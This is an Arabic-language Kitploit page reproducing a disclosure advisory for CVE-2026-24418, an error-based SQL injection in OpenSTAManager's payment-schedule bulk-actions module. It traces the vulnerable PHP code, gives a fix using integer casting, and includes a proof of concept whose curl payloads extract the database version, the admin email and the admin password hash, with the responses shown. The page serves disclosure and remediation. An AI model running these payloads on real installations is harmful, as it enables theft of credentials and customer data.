Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24418 — CVE-2026-24418 - يحتوي OpenSTAManager على ثغرة SQL Injection في وحدة العمليات الجماعية Scadenzario | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-24418
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - يحتوي OpenSTAManager على ثغرة SQL Injection في وحدة العمليات الجماعية Scadenzario

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24418: يحتوي OpenSTAManager على ثغرة حقن SQL في وحدة العمليات المجمعة Scadenzario

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-24418
الخطورةعالية
التنبيه الأمنيعرض التنبيه
اكتشفهاLukasz Rybak

المنتجات المتأثرة

  • devcode-it/openstamanager (الإصدارات: <= 2.9.8)

تصنيف CWE

  • CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

الملخص

ثغرة حرجة لحقن SQL المبني على الأخطاء في وحدة العمليات المجمعة Scadenzario (جدول الدفع) في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج المحتويات الكاملة لقاعدة البيانات بما في ذلك بيانات اعتماد المستخدمين والبيانات الشخصية للعملاء والسجلات المالية عبر رسائل خطأ XML.

الحالة: ✅ مؤكدة ومُختبَرة على مثيل مباشر (v2.9.8) المعامل المعرض للخطر: id_records[] (مصفوفة POST) المنفذ المتأثر: /actions.php?id_module=18 (وحدة Scadenzario) نوع الهجوم: حقن SQL المبني على الأخطاء (عبارة IN)

التفاصيل

يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة لحقن SQL المبني على الأخطاء في معالج العمليات المجمعة لوحدة Scadenzario (جدول الدفع). يفشل التطبيق في التحقق من أن عناصر مصفوفة id_records أعداد صحيحة قبل استخدامها في عبارة IN() الخاصة بـ SQL، مما يسمح للمهاجمين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة عبر رسائل خطأ XPATH.

سلسلة الثغرة:

  1. نقطة الدخول: /actions.php (الأسطر 503-506)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    تقوم دالة array_clean() فقط بإزالة القيم الفارغة - ولا تتحقق من الأنواع.

  2. الدالة المعرضة للخطر: /lib/util.php (الأسطر 54-60)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    التأثير: تقوم الدالة بتصفية القيم الفارغة ولكنها تقبل أي قيمة غير فارغة، بما في ذلك حمولات حقن SQL.

  3. نقطة حقن SQL: /modules/scadenzario/bulk.php (السطر 88) الثغرة الرئيسية

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

تحليل السبب الجذري:

توجد الثغرة للأسباب التالية:

  1. post('id_records') يُرجع مصفوفة يتحكم بها المستخدم
  2. array_clean() يزيل القيم الفارغة فقط، وليس القيم غير الصحيحة
  3. implode(',', $id_records) يدمج عناصر المصفوفة مباشرة في استعلام SQL
  4. لا يوجد تحقق يضمن أن عناصر المصفوفة أعداد صحيحة
  5. يمكن للمهاجم حقن SQL عن طريق توفير: id_records[]=1&id_records[]=(MALICIOUS SQL)#

مسار الكود المتأثر:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

إثبات المفهوم

الخطوة 1: تسجيل الدخول

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

الخطوة 2: التحقق من الثغرة (حقن SQL المبني على الأخطاء)

الاختبار 1: استخراج مستخدم قاعدة البيانات والإصدار

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

الاستجابة (رسالة الخطأ الظاهرة للمهاجم):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

الاختبار 2: استخراج بيانات اعتماد المسؤول

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

الاستجابة:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

الاختبار 3: استخراج تجزئة كلمة المرور (الجزء 1 - أول 31 حرفًا)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

الاستجابة:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

الاختبار 4: استخراج تجزئة كلمة المرور (الجزء 2 - الأحرف 32-60)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

الاستجابة:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

تجزئة كلمة المرور المجمعة:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

التأثير

**جميع المستخدمين المصادَق عليهم الذين لديهم حق الوصول إلى العمليات المجمعة لوحدة Scadenzario (جدول الدفع).

الإصلاح الموصى به:

الإصلاح الأساسي - التحقق من النوع:

الملف: /modules/scadenzario/bulk.php

قبل (المعرضة للخطر - السطر 88):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

بعد (الإصلاح):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

الاعتمادات

تم الاكتشاف بواسطة Łukasz Rybak

المراجع

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

إخلاء المسؤولية

تم الإبلاغ عن CVE-2026-24418 بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة

التأثير: يتم دمج عناصر المصفوفة من $id_records مباشرة باستخدام implode() دون التحقق من النوع أو prepare()، مما يتيح حقن SQL كامل.